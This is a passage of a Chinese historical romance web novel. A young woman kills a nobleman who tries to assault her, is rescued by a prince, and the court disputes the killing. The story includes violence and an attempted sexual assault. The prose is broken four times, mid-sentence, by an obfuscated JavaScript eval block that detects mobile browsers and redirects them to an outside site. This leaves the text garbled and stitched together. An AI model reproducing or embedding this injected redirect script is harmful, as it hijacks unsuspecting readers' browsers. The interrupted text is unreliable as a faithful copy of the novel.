岑璠道了谢,送走郑伊湄,坐在榻边,“是阿姊不好…” 她本是在这里礼佛三日,如今也只能作罢。 “咱们待会儿就下山。” “阿姊我没事的……” 岑璠语速都急了些,“怎么会没事?” 珝儿瞅了她两眼,又下意识在脸上挠了两下,含含糊糊道:“那阿姊若是不放心,我自己下山去就成,阿娘这边阿姊就先替我祭拜吧。” 岑璠沉默许久,冷静下来,觉着这也算是当下最好的法子。 此行跟随的有十几个护卫,包括前些日子挑的几个好手,岑璠将一大半人都拨给了珝儿,将这批护卫中身手最好的墨群也派给了他。 晚上岑璠放了一盏长明灯便回了房,想着珝儿满脸疹子的模样,心里放不下,翻来覆去怎么也睡不着。 隔日晨起后,岑璠便向郑伊湄道别,带着剩下人也下了山。 山下不远便是西田村,昨日无人传信回来,岑璠不知道自家阿弟回了家还是留在了山下的村子,决定自己去看看。 天已经大亮,通向村子的路上却一个人都没有,静得连狗吠声都听不到。 赶车的车夫背后有些发凉,四处张望,车越赶越慢。 忽地,空气中弥漫开一股焦糊味,顺着方向看去,竟是远处的村子冒了黑烟。 岑璠看着远处的冲天火光,瞳孔骤然缩紧,槿儿叫出声,而后捂住嘴,抓紧了岑璠的臂。 车夫瞧的比两人更清楚些。 “姑娘,那、那村口守着兵!”车夫回头向她说,声音在发颤。 岑璠看了看火的方向,毫不犹豫道:“掉头,回去。” 车夫二话不说,赶紧掉头,两旁跟着的四个护卫见状,也跟着朝火源反方向走。 岑璠浑身冒了冷汗,沉声下了令,“再快点,快走。” 车夫丝毫不敢懈怠,一提马绳,车赶的快了许多,时不时回头看两眼。 岑璠仍抱有几分侥幸,以为摆脱了危险,却陡然听到一阵马蹄声。 “站住!” 车夫彻底慌了神,车赶的越来越快。 马蹄声渐近,马车晃得像要散架一样,岑璠甚至透过车窗看到了几个高大的人影掠过。 岑璠屏住呼吸,忽然间,车外似是擦过箭响,一声马鸣传来,随即整个车身向外面倾斜。 岑璠身子猛地向前,头撞到了墙壁上,一阵晕眩,慌忙扶住车壁才没有滑下去。 还不待作出其他反应,车外便传来一阵惨叫声,带着血的剑尖刺了进来。 槿儿一声尖叫,连忙抱臂蜷在一角。 忽地外面静了下来,有人下了马,一只带着厚茧的手伸了进来,手背黝黑,皮肤皲裂开。 大胡子军汉挑开帘子,咧开一嘴黄牙,“公子你瞧,是两个小娘们,长得还怪好看。” 岑璠吓得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13711278|144564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢动,和槿儿缩在一起,一双眼睛红着,眼底却透着些狠劲,刺向壮汉。 壮汉显然不在意,只觉得这回又遇到了个性子烈的,掀开帘子,腾了位置让外面的人瞧一眼。 岑璠也看清了外面的人,其中一男子身穿墨绿锦袍,十分显眼,肤色白皙,气定神闲,其余人穿的皆是军服。 锦衣男子下马走近,轻佻的目光毫不掩饰地扫在两人身上,眯起眼睛,肯定道:“长得是不错…” 他指了岑璠,语中满是戏谑,“我想和这位姑娘单独谈谈。” 壮汉似是立刻会意,单手将槿儿拽住。 岑璠头晕的厉害,伸手拉住槿儿,被壮汉甩开。 槿儿被拉下去后,锦衣男子便立刻坐了进来,岑璠起身,想要下车,却被男子摁住肩膀坐了回去。 柳戚濯仔细打量了一下,面前的女子长得水灵灵的,面如白玉,泪眼扑簌却如暗送秋波,眼尾发红,可怜又招人疼。 再往下看,那身段却也是极好,楚腰纤细,忍不住让人想要上去掐一把。 又确认了一番,发现女子只是穿了一身素衣,不像是高门世家出来的姑娘,便是更欢喜了,轻浮的目光愈发不加遮掩。 外面槿儿尖锐的惨叫声传来,柳戚濯收起目光,似是被扫了兴致,掀开帘子,喊了声,“去去去!都给我上远处玩去!” 槿儿的叫声渐远,岑璠恶狠狠盯住面前的男人,呼吸越来越急促。 柳戚濯靠近她,对她笑了笑,声音放轻,“姑娘别怕,告诉我,你刚才看到了什么?” 岑璠不答,整个身子抖动,蜷成一团,却什么也不说。 柳戚濯看着愈发心疼,轻皱了眉,却还是一副笑脸,忍不住上了手,一勾她的下巴,“你瞧瞧这可怜样,姑娘放心,小爷我不动女人,特别是你这样的美人。我们柳家在洛阳可是数一数二的望族,不如你跟了我,以后咱们就是一家人,今日之事全当只有你我夫妻二人看见可好?” 岑璠瞪着他,由着那只手在脸上轻抚,在即将碰到唇的一瞬间,趁其不备,抓住男人的手臂,张开嘴狠狠咬了下去。 柳戚濯吃痛,全然换了副扭曲的表情,目眦尽裂。 岑璠闭着眼,只管往狠里咬,牙齿嵌了进去,咬了满口血。 柳戚濯骂了声贱人,抽开手,一手抓住她的头发,另一只手掐住她的脖子。 岑璠喘不上气,咳嗽起来,抓着那只臂,然而力气悬殊,渐渐没了力气。 柳戚濯轻蔑地笑了笑,放开了她,抓住她的领子用力往外扯。 岑璠一时又挣扎起来,头发散乱,胡乱拍打,急声尖叫,“你放开我!” 柳戚濯一时无从下手,理智告诉他这里呆不久,便只想快点把事办了,随即压在她身上。 岑璠剧烈挣扎,一只手抵住他,另一只手慌不择路摸上自己的发髻,摸到一只簪子。 眼瞧自己的裙子要被撩开,她咬了咬牙,簪子狠狠刺了下去。 血溅到了脸上,一滴浓稠的血从眼角滑下。 柳戚濯估计也没想到,女人当真敢杀他,也杀得了他。 他瞪大眼睛,很快没了气。 岑璠脸色白得可怕,抖得像筛子,喘了几声大气,忽然意识到一件事。 她杀人了…… 脑子里嗡嗡作响,她闻着身上的血腥味,一阵恶心感涌出。 岑璠看了看趴在身上的死人,用力推开,晃晃悠悠往外走。 眼前愈发晕眩,看到倒地的侍卫和被刀刺穿的马夫,岑璠身子一晃,踩了个空,摔下马车,右手掌心磕到尖锐的石头上,那只镯子也摔了个粉碎。 疼痛直直钻向心口,岑璠疼得失了声,浑身直冒冷汗,眼瞧着血越淌越多,手脚渐渐变得冰凉。 远处似传来马蹄声,地面在震动,一阵绝望涌上心头,岑璠左手撑住地,想要爬起来,下一瞬却是没了力气,倒在地上。 11. 第十一章 元衡见她栽倒在地,马又打得快了些,落下后面的人一截,下马大步走到岑璠身边,瞧见她满脸的血,眼眸瞬间凌若冰霜。 顺着血迹看,便看到了那磕在尖石上的手,前世零碎的记忆浮现在脑中,他心底一阵刺痛。 她前世的右手有很大的一块疤,竟然是这个时候.….. 元衡眼底猩红,伸手却不敢乱碰,只能像前世濒死时一样,一点点拭去她脸上的血迹。 齐良越下马后,低头瞧着自家殿下的一举一动,愣在原地。 昨日柳家人来此巡查,当晚留在村中,与村民起了冲突,那柳家二房的三公子竟被活活打死在村子里,柳家听人传报后,今晨将事情呈报给皇上,派大房六公子来此查问,他家殿下听了消息,也带着人出城。 这如今村子被烧了,方圆几里看到的活口,只有刚才差点被欺负的姑娘,还有现在的这位了... 刚才那被他们救下的姑娘哭喊着说的是什么他听不清,可他家殿下竟是转头带人向前赶。 竟是一来就这么对人家上手了? “可有医士跟来?”元衡问道。 齐良越还有些缓不过神,看了看他,老实答道:“军医正在给刚才那位姑娘看伤…” 崔迟景说过,她会书画,若是像前世一样,这只手多半是废了。 元衡冷声道:“把人叫过来,救她。” 齐良越不敢多说什么,赶紧让人去叫医士。 元衡看着那张苍白的脸,眼中溢满狠色,似要噬人,站起身,眉眼如刀锋,一扫周围的惨状,最终眼睛盯向跟前的马车,拳捏的咯咯作响。 他走上马车,掀开车帘,看到脚下死透的柳家公子,默声皱眉。 齐良越跟过来,不待看一眼,便见自家主子下了车,便跟在他身边,等候差遣。 元衡走到岑璠身边,看了眼她凌乱的衣裳和头发,淡淡说了一句,“把里面的人扔进村子,一并烧了。” 齐良越愣了愣,随即点头,进马车查看。 待看清地上死的人是谁,他掀开帘确认,“殿下,这是柳家大房的公子…” “烧。”元衡只冷漠地说了这么一个字。 齐良越觉得这么做肯定会带来麻烦,转头却见自家殿下将那位姑娘扶起来,圈在了怀里,唤了两声名字。 齐良越:“…….” 幸好此行跟随而来的都是亲信,到底也不会有人说出去...... 军医很快赶了过来,看到眼前的场景,一时觉得哪儿哪儿都难办。 元衡问:“能不能治?” 军医自是不敢说不能,轻轻拿起岑璠的肿胀起来的手,看了眼伤口,答道:“姑娘这伤口太深,伤是能治,可这手难免会落下病根…” 元衡唇抿成一条缝,许久之后只吐出一个字,“先治。” 军医得了令,便是当即抬起她的手,先止住了血,包扎好伤口。 待处理好这些,元衡当机立断,将人横抱起来,看了眼地上碎的镯子,同齐良越交代几句,带着人上马离开。 * 岑璠路上醒来过,手疼得冰冷麻木,背后却一片温暖,似是靠着什么人,除此之外,却并未有什么逾矩举动。 眼前还是模模糊糊,她没有力气回头,只知道自己暂时无事。 后来不知道到了哪里,伤口上的纱布被重新揭开,清创时钻心的疼,却好像也有人一直扶着她,替她擦了汗,守了许久。 然而梦境中似乎并不安稳,先是莫名梦到佛像,而后便梦到有重物压在身上,被什么人钳住手腕,挣脱不开。 沉重的喘息在耳畔环绕,有道声音一直夹杂其中,似是在唤她…… 陡然间打翻了什么,火光灼向手心。 岑璠睁开了眼,手心剧痛传来,目光向外移,便看到红着眼睛的槿儿。 槿儿头上肿了个青包,她下意识抬起没受伤的手。 槿儿哽咽道:“姑娘我没事……” 想到自家姑娘的遭遇,槿儿一只手抹泪,哭咽不止。 岑璠眼睛动了动,发现自己正躺在卧榻上,床顶悬着天青色银丝帷幔,鼻尖没了血腥,只有衾被上淡淡的清香,似是刚晒过不久,身下是锦缎薄绸。 房间空旷,却好像没什么人住过,身上的衣裳也换了身干净的。 疼痛不间断传来,传遍全身,岑璠唇色仍白着,心里却松了口气。 “这是在哪儿?” 刚轻轻问了一句,却听见干脆的开门声。 岑璠眼睁睁看着男人走到面前,将手里端的药给槿儿,而后拖拽来一把胡椅,坐在了她对面,掀起一个目光,静声看着她。 这是要来审她吗…… 岑璠抬起眼,瞧见那双眼中没有恶意,她甚至明白是他又救了她….. 可那幽冷的目光太过不适,岑璠只看了须臾,便不由错开目光,没受伤的手在被下越攥越紧。 元衡将她的反应看在眼里。 她在怕他? 他很快否认了自己的想法。 不,这并不是怕。 前世的她总共也没同他说几句话,安安静静的让人很容易便忽视了去。 可就是这样一个人,敢自荐枕席,最后还提出让他写休书。 她这不是怕,或许正是为了掩饰自己胆大妄为的那一面。 来去自由如她,最后敢以命挡刀的也是她。 他目光没有收回,盯得愈发紧,似是一定要得个回视才肯罢休。 岑璠能感受得到,毫无血色的唇抿起,许久后才又启开,道:“多谢…晋王殿下。” 太久没喝水,她喉咙一痒,呛了一口气,剧烈地咳嗽起来。 槿儿拍了拍她的背,待到她不再咳,舀了勺药到她嘴边。 岑璠嗅到苦味,拧起眉,没受伤的手拿了碗,屏住呼吸往里灌。 元衡在一旁耐心等着她喝完药,眼睛从那张脸看向被上裹着纱布的手。 岑璠下意识想要缩回手,然而只是略微一动,便扯到了伤。 疼到直往外渗冷汗,她不得不咬紧了唇。 元衡移开了目光,听不清任何情绪,只说道:“你的手,宫里的太医会来治。” 细想后,岑璠一时不明白。 他的意思是,他请了宫里的太医,而那太医会来这里? 她沉默许久,低声道:“多谢殿下好意,民女回家便可,无需…” 元衡转过头,没等她拒绝,掐断了话,“死的是柳家人,你可知他和你们虞家是何关系?” 那时她慌的厉害,来不及细想,那人当时说过,他是柳家人。 她那名义上的妹妹,嫁的正是柳家。 “现在还想回去?” 岑璠微微张开唇,想了片刻,虽是没再提回去,却还是坚持道:“民女会尽快离开,不劳殿下费心。” 元衡早知她是个倔强的人,可还是想不通她为何执意要离开这里。 他喉咙一哽,语气转而强硬了几分,“这个别院,外面人不敢进,你先待在这里。” 岑璠看得出他心里的不悦,这话也不是询问,而是命令。 她杀了人,就像他说的,她现在不该回去。 她妥协道:“民女知道了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13711279|144564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >元衡不喜她这副波澜不惊的样子,可他也清楚,她现在并非表面如此平静,不然前世也不可能执意嫁给他。 刚才她的那两声咳嗽,便泄露了她的情绪。 他会等着她主动来找他的那一天。 心渐渐稳下来,元衡同她交代道:“柳家的事我会处理,你在这里安心养病,虞家人之后不会找你麻烦。” “若有人问起你昨日之事,只说手是下山时摔的,其余便说什么都不知道。” 说罢,元衡便站起身。 岑璠这番缜密周道的嘱咐,实在不像是刚见几面的人能说出口的。 他是何图谋? 岑璠想了许久,似是只能想到一个理由。 她垂下眸,在他即将出门的一瞬,平淡地说:“殿下大恩,民女无以为报,若殿下想让民女打探虞家之事,民女愿意。” 元衡停住,转头看她。 她上一世找到他,也是做了这样一个交易,然后进了王府,虽说区区一个虞家不足以他安插太多眼睛,可他那时还是答应了,主要是下药的事背后有皇后的介入。 重来一次,他不想他们的关系又变成交易。 她能好好在他身边就够了。 岑璠仍低着眸,默不作声等他回答,像是笃定他会答应。 却是等到了一声“不必”。 岑璠眼神动了动,眼瞧着男人就要走,摸了摸自己的手腕,又道:“我还有一只镯子,殿下可有看到……” “那镯子已经碎了,若是你要,孤让人送来。” 岑璠看着男人的影子消失,浑身卸了劲,转而看向槿儿头上的青紫肿包,问道:“槿儿可还好?” 槿儿摸了摸头,摇头,“我没事。” 她看了看岑璠缠起来的手,眼睛又酸了,“姑娘的手可怎么办啊?” 岑璠眸光划过一瞬的黯淡,轻轻道:“没事。” 她来洛阳便没打算再画下去,这只手还能保住,已是万幸。 母亲曾经用过的名号,她早该还回去了… 岑璠又问,“昨夜槿儿可是在这里守了一夜?” 槿儿摇头,“奴婢醒后,便被叫去问话了。” 岑璠眼神微动,低头看了看身上新换的衣裳,又回想起昨日半梦半醒时,好像有人抱着她...... 槿儿想到什么,同她说道:“姑娘的衣裳是这里的喜鹊姑娘帮忙换的。” 岑璠“嗯”了一声,也觉得刚才想的太荒谬,或许是疼出幻觉了吧。 槿儿瞟了眼岑璠,斟酌开口,“我觉得晋王或许不想他们说的那般...上次在彭城,也是晋王殿下救了咱们,还帮咱们摆平岑家的事来着。” 岑璠缓缓点头,“是这样没错。” 他对她有恩,还是救命之恩。 她不想欠别人什么,可这个恩情她怕是一辈子也报不完。 忽地,梦中漠然的目光又再脑海中闪过,转而又响起一道声音。 有人曾同她说,救人不一定求回报,挟恩图报之人并非善类...... 岑璠不知自己为何会将这两句话联系在一起,一时陷入呆滞。 “姑娘在想什么?” “没什么...”岑璠向窗外望了望,又想到被子上淡淡的香味,“躺了一日,陪我出去走走吧。” 槿儿点头,扶她起来套了衫袍。 门外天正晴,晴空碧洗,光芒让人睁不开眼,本该是一派春意盎然的景象。 然而不知为何,这院内满园竟然栽满了白梅。 花盛放的太早,错过了春日,如今枝头只剩了几朵饱经风霜的凋败残花。 12. 第十二章 岑璠走到一棵梅树前,梅树还矮矮的,看起来像是刚栽下去没多久。 一只手触上蔫了的花瓣,又快速收了回去。 岑璠抿了抿唇,转头又回了屋。 不一会儿,那名叫喜鹊的小丫鬟便带着人进来。 是刚才晋王口中说的太医…… 刘太医拆了纱布,看了看伤口的大小位置,摇了摇头。 晋王着实给他出了个难题。 也不知道这姑娘什么来头,手伤成这样也非得要治好…… 刘太医没有过多揣测什么,重新处理了伤口,给她换了药,叹了口气。 “姑娘这手伤及筋骨,要好好养着,切莫触到太冷或太热的东西,重物也莫要多拿……” 刘太医叮嘱了好一段,槿儿在一旁记得认真,不时点头。 书好方子,同她说了之后怎么用药,刘太医才离开。 * 元衡听过太医禀过消息,便被叫去了皇宫。 一进殿门,便见柳家家主跪在殿中,已经哭成一团。 元衡站在他旁边,往地上睨了一眼,冷声道:“柳大人不妨起来说话。” 柳闻颤颤巍巍直起身,咬牙切齿,“陛下!臣的儿子尸骨未寒,死的不明不白,还请陛下为臣做主。” 元衡眼中满是蔑视,嗤了一声,淡淡反问道:“有何不明白?” 都已经烧得灰都拾不起来了,还尸骨未寒。 死在一个刀都拿不稳的女人手里,有什么不明白的? 柳闻听了他的话,怒目圆瞪,朝上磕了各头,“陛下!晋王不仅派人烧了村子,还杀了臣的儿子,如此嚣张,分明是目无王法。” 元衡懒得解释,也没再说让他站起来。 皇帝来回看了看两人,一双利眸落在早已离了心的儿子身上,凝起神色,中气十足地喝了声,“放肆!” 元衡不是第一次被这样厉声呵斥,不痛不痒。 对一个曾经想要杀了自已的父亲,倒也不必抱有什么期待。 他敛起神色,咬住后牙,而后行了一礼,声音发沉,听不出任何情绪,“禀父皇,此事与儿臣无关。” “你!”柳闻五官都要挤在一起,若不是皇帝还在,怕是要破口大骂,“我儿走后你便出了城,回来的只有你,难不成那大火是村子自己烧起来,我儿自己进去寻死不成?” 皇帝冷着脸,未说一言。 元衡知道,柳闻此言漏洞百出,胡搅蛮缠,况且他手上还有人证,至于上面那位,心里和明镜似的,不过是想恶心他,倒也不能真拿他怎么办。 他在怀柔杀来的兵权,在六镇的势力,一直是上面这位忌惮的,上一世便是如此。 皇帝应该也没想过他会回来,想杀他,却不能立刻杀,还要维持着君臣父子的几分颜面,怕是比蚂蚁在背上爬还难受。 想到上一世,比自己早走几年的帝王,那并不算多好的下场,元衡莫名冷笑了声。 皇帝脸色更难看了,胡须一板,嘴角越压越低。 大太监王德适时来禀,“皇上,杨少将军求见。” 皇帝自是知道杨知聿为何这时来,正憋着一股子气,只道:“不见,让他滚。! 大太监愣了一瞬,而后毕恭毕敬退了出去。 门未关上,身后便传来洪亮的声音,“陛下,臣有田租赋税之事要禀报。” 皇帝听到了门外的声音,沉默片刻,抬眼,“叫他进来。” 杨知聿跪地行礼,顺带将带进来的人摁了下去。 皇帝看着被带进来的人眼熟,好像是管田赋的司农丞。 杨知聿道:“陛下,昨日之事臣已查明。” 皇帝扫了眼神色慌乱的柳闻,厉声道:“说。” 杨知聿颔首,道:“柳氏二房虽掌京郊事,但按照律法,田西村的地本是村民所有,然这几年村中作物却都由柳家人掌控。而那二房三子到庄村子上并非为了巡查,而是看上了村中一未出阁的姑娘,行苟且之事。” 柳闻听此大惊,张口大骂,“你血口喷人!这村里的人都死了,难不成是鬼告诉你的?” 杨知聿睨了一眼,并未理会,继续说道:“柳三公子是被那姑娘的父亲所杀,柳家六公子为了泄愤,掩盖真相,欲带人屠了整个村子,却被反杀。有村民逃过一劫,如今就在臣那里,可做人证。” 柳闻欲狡辩,又被杨知聿打断了话,“陛下明鉴,柳家所犯罪行并非只这一条。这些年柳家二房私占良田,动用私权,不缴田赋,人证物证俱在,容不得狡辩。” 那司农丞一直跪着,适时叩了头请罪,“臣也是受人胁迫,愿将功补过,还请陛下赎罪。” 皇帝不置可否,冷眼扫过台下每一个人的神色,显然不全信。 不待进一步揣摩,只见杨知聿义正辞严道:“陛下推行均田令,鼓励农耕桑种,太尉远在晋阳,却也帮陛下推行此律,可如今竟有人在皇城脚下屠杀农户,为非作歹,如此藐视皇恩,实在该杀。” 此番话说下来,实实在在给皇帝将了一军。 如今人证物证在那里,若在一味追查这柳家大房的死因,无疑打了自己的脸,只怕还会引得官民不满。 他刚才提到晋阳那边,分明是故意的,若是不处理柳家,怕是晋阳那边也会有所动作。 皇帝眉心直跳,最后目光落向浑身发抖的柳闻。 “你可知罪?” 柳闻微微抬身,却没再狡辩,“禀陛下,杨将军说的这些皆是二房所为,臣实不知情,至于臣那逆子平日被他母亲纵得无法无天,不想竟是酿成大祸。” “臣对妻儿管教不严,又未能及时察觉,约束手足言行,确实有罪。” 这话虽是认罪,却将自己撇的干干净净。 在场的人谁都明白,谁也没再揭短。 除了未在殿中争辩一二的柳家二房,还有那死的不明不白的大房六子,其余人各自安好。 出了殿门,杨知聿却还是一直跟着元衡,看了看他走的方向,便知他并不是要回王府。 “你跟着我做甚?”元衡开口,冷声问。 杨知聿勾起唇,“没怎么,想去你的别院看看。” 元衡未说话。 杨知聿余光看向他,“你给岑姑娘顶罪,是…” 他话锋一转, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元衡看着对面的男人,眼中倏地多了些别的情绪。 杨知聿并未抬眼,看不清神色,什么也没说。 房内静得只剩下酒落进杯盏的声音。 这一次,元衡站起身,自己去开了门。 岑璠站在庭内,并未打算进去。 “晋王殿下。”她行了一礼,欲言又止。 “何事?”元衡主动开口问她。 岑璠抿了抿唇,讲出了这几日自己绞尽脑汁想出的前因后果,“民女知道,殿下之所以不放民女走,是担心民女会将那日之事说出去。” 她不着痕迹看了眼门口那棵梅,在瞥到冷着脸男人时,又收回目光。 “殿下也是知道的,民女身份低微,这件事说出去对民女没有好处。” 她抿了抿唇,见他不说话,怕他还不肯放她走,终于行了个大礼,自顾自地说,根本没给人插话的余地,“殿下是民女的恩人,这份恩情民女谨记于心,还请殿下放心。” 13. 第十三章 元衡双拳紧握,眸却是越来越冷。 他见识过她骨子里有多倔。 面前的女人身形本就单薄,如今手还伤着,只能手心朝上,用手臂撑着地,其实行礼行得并不算端庄得体。 可就算这样,说完后还是执拗地不肯起身。 她向来少言,如今为了离开他的院子,能说这么一大通话…… 倒是为难她了。 元衡闭着眼都知道,他若不在这里亲口答应,她怕是不会起来,就这样一直别扭地跪着。 “随你。” 他撂下这句话,甚至没听完她的道谢便回了书房。 杨知聿在书房喝酒,听到他进门,道:“说完了?” 元衡“嗯”了一声,并未透露多。 杨知聿不嫌事大,狭长的眼中似带了刺,毫不客气地往他心窝上戳,“她家中还有个胞弟,自是挂念,你留不住的。” 元衡你睨他一眼,却并不恼怒,从容道:“我救她,不过是觉得留着有用。” “是吗?” 元衡眼垂下,淡淡道:“以她的身份,留着并无用处,舅父也不会允许。” 这话不知道是给谁听的。 杨知聿并未放在心上,回道:“你知道就好。” * 就和晋王说的一样,岑璠回到家并未有人刁难,也无人来找她谈话,想必是他派人来说了什么。 乳娘看到她的手,哭了好一阵,嗓子都哭干了,珝儿脸上的疹子也消下去许多,听说了自己走后的事,也怔了许久。 似乎只有伤了手的本人不怎么在意。 手上的伤口已经合上,可还是会时不时的疼,尤其是夜里,疼得像往骨头里钻,槿儿按照太医给的方子,按时给岑璠换药,丝毫不敢懈怠。 接连几日,院子里都算得上清静,柳家人没来,她那父亲也没来过问半句。 岑璠觉得古怪,便让墨群找人向外打听了一番。 原来就在她回来前的一天,天下亲自下旨,罢了柳家二房的职,而那柳家大房忽然将自己的夫人送去了佛堂。 岑璠想了想,便也想通了些原委。 虞家同皇后交好,家里的姑娘又嫁到柳家,不管柳家犯了什么事,这罪名已经被皇帝板上钉钉,虞家再闹出别的动静,吃亏的能是虞家。 岑璠便也当什么也没发生过,接连几日也没出门去触霉头 直到有一日,崔迟景派人上门送了信。 贵族世家皆尚风流,崔氏为世家之首,而这崔迟景时常游历山水,诗文是出类拔萃的,仰慕之人不在少数。 虞家并没有几个人是高兴的,紫芯将信带进屋时,虽未说什么,也并没有多少好脸色。 紫芯走后,岑璠便拆了信读。 准确来说,那封信并不是崔迟景亲笔所写,而是替一位姑娘送来的邀帖,帖上还有淡淡的香味。 待看到那张邀帖上的名字时,岑璠难以置信。 那封信是阿湄写的。 岑璠拿着帖子,愣了许久,而后不禁弯起一个笑。 原来她喜欢她的画啊...... 岑璠看了看自己的手,这时才生出些可惜之感。 她这个样子,怕是赴不了约。 若是以后她大仇得报,能全身而退,定要邀她游山玩水,给她画个够…… 她低头又看了看那封信,让乳娘从箱子里挑幅画来。 从前作画,岑璠只印个章,从不会在画上提字,可这次却提笔,忍着疼在画的右下角落下自己的名字。 乳娘自也知道她的习惯,瞧见她的反常举动,问道:“姑娘这画可是要送给崔公子?” “不是。”岑璠抬头,眼眸弯得像月牙,笑意一直蔓延到嘴角。 乳很少见到自家姑娘露出这般纯净的笑容,虽然面上不显,但想来是心情极好了才如此。 岑璠亲自将那副鹊上枝头卷好,递给乳娘,“这是送给郑姑娘的。” “乳娘帮我将这幅画送去郑家吧。”岑璠想了想,却又觉得不妥,“还是交给崔家吧。” 崔迟景既是能叫人传信给她,想必也有办法将画带进去。 “就说我近些天身子不适,改日去赴约。” 不知为何,乳娘愣了许久,“姑娘说的郑家,可是那荥阳郑氏?” “是。” 乳娘紧接着问,“姑娘送这幅画去,是为了报恩?” “算吧…” 也不全然算,就算崔迟景没有救她,郑家姑娘提起,她也一定会送。 想到那时乳娘带着阿娘回到寺中,和郑伊湄也算打过照面,岑璠便也没全然隐瞒,说起了小时候的事,当然也只挑了些能说的讲,刻意略过了郑伊湄假扮晋王的事。 说的明明是儿时的苦,却还是满脸的笑意。 乳娘眼神仍有些呆,边听边点头,“原来是这样……” 岑璠察觉出什么,联想到乳娘近些天的异常,问道:“乳娘怎么了?” 乳娘回过神,眼神来回躲闪,而后抿唇,鼓起勇气道:“姑娘可知,那郑家还未出阁的姑娘只有一个,如今郑家老爷正在和晋王攀亲事?” 岑璠没听明白,她只知道崔迟景和郑家姑娘的关系,怎么又会和晋王有关? 她收了笑,声音也沉了下来,“乳娘觉得有何不妥?” 乳娘避而不谈,将画放到桌子上,坐在她身边,“这些日子姑娘在晋王的别院养伤,还给了方子治手,老奴想问问,姑娘对那位殿下是个什么看法?” 岑璠蹙起眉,未说话。 乳娘叹了口气,也不再拐弯抹角,苦口婆心,“姑娘也看到了,咱们在洛阳人微言轻的,一个不慎,连手都要搭进去。” “姑娘如今也不知道能不能再画,这长久下去也不是办法,虞家不害咱们就已经不错了,老奴觉得,还是尽快找个靠山,不然将来报仇怕是无望啊…” 岑璠这下算是明白乳娘在想什么。 靠山…… 乳娘知道她认死理,必不会就这样答应,耐心同她说了说好处,“姑娘你看,那胡氏害了先皇后满门,那晋王可是先皇后唯一的儿子,必对她恨之入骨,姑娘和他本是一心的,若是能入王府,哪怕是做个侍妾,将来也不愁能亲手报仇啊。” 岑璠并未被说动,立即否认,“晋王对我有恩,这么做不可,想背靠此人,也并非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本朝以来,文人喜曲水流觞宴,上巳本是女子的求姻缘子嗣的节日,如今祓禊祭禖成了陪衬,大小宴会倒成了贵族所追捧的。 岑璠在家中,午膳只是随意应付,吃了荠菜煮鸡蛋,也算过了上巳。 如往年一样,乳娘留了一朵荠菜花,别在她发上,说是戴上能消头痛,晚上能睡个好觉。 岑璠不信这些,却也不厌恶,就算是迎合家中老人,戴了一整日。 珝儿脸上的疹子已经消了下去,此次便也去赴宴,晚上回到院子,同她喋喋不休说起流水宴的盛况,后来听的岑璠都困了才离开。 谁知这好觉没睡成,却是做了噩梦。 已经是第三次梦到了…… 这次梦却格外清晰,岑璠能清清楚楚看到佛像的脸。 只是那视线好像是从下往上,似乎是自己在仰躺着看什么。 眼前的一切似乎逐渐变得朦胧,岑璠想不通自己为什么会是这样仰躺着看佛像。 像是被摆在供桌上的祭品一样…… 14. 第十四章 也不知为何,岑璠浑身都开始发热。 昏头昏脑间,耳边却忽然传来一阵重重的喘息声,有人压住了她,像一头嘶吼的猛兽,纵是在梦中也足以让人害怕到发抖。 她挣扎,可越是想摆脱,就越是被缠得紧。 而后什么东西被打翻,叮铃桄榔掉在地上,连带着天旋地转,眼前能看到一团黑影,似乎是什么人越来越近。 岑璠告诉自己不能靠近,可梦中的自己似乎听不到,伸出了一双白藕似的臂…… “不要!” 岑璠惊坐而起,脸上一团潮红,额头上却冒了冷汗? 她这是梦到了什么? 是、是一场春梦?! 岑璠袖子擦了擦汗,惊魂未定,脸上的红晕逐渐退去,便觉得有些冷。 她双腿收起,双臂环抱,脸靠在膝头,蜷在一起。 不同于上次的梦,醒来后便什么也记不清,那被人压在身下的感觉挥之不去,只是看不清脸。 渐渐地,那张面容和那日柳家的色徒重合起来。 岑璠不由泛起一阵恶心,心也终于定了下来。 这不是春梦,是一场实实在在的噩梦! 对自己刚才生出的想法感到厌恶,岑璠只着单薄寝衣,打开门,深呼吸一口气。 门外静悄悄的,有新抽的绿叶香气,景致却与她曾经住过的院子截然不同。 她从来都不属于这里。 等报了仇,还是早些离开好。 * 自那以后,岑璠没怎么再出过门。 寒食节那日,虞家上下皆去郊外祭祖。 岑璠对祖父母的印象只停留在四岁前,二人是普通的佃户模样,说话总有有浓厚的口音,连她这个长在彭城小丫头都不怎么能听得懂。 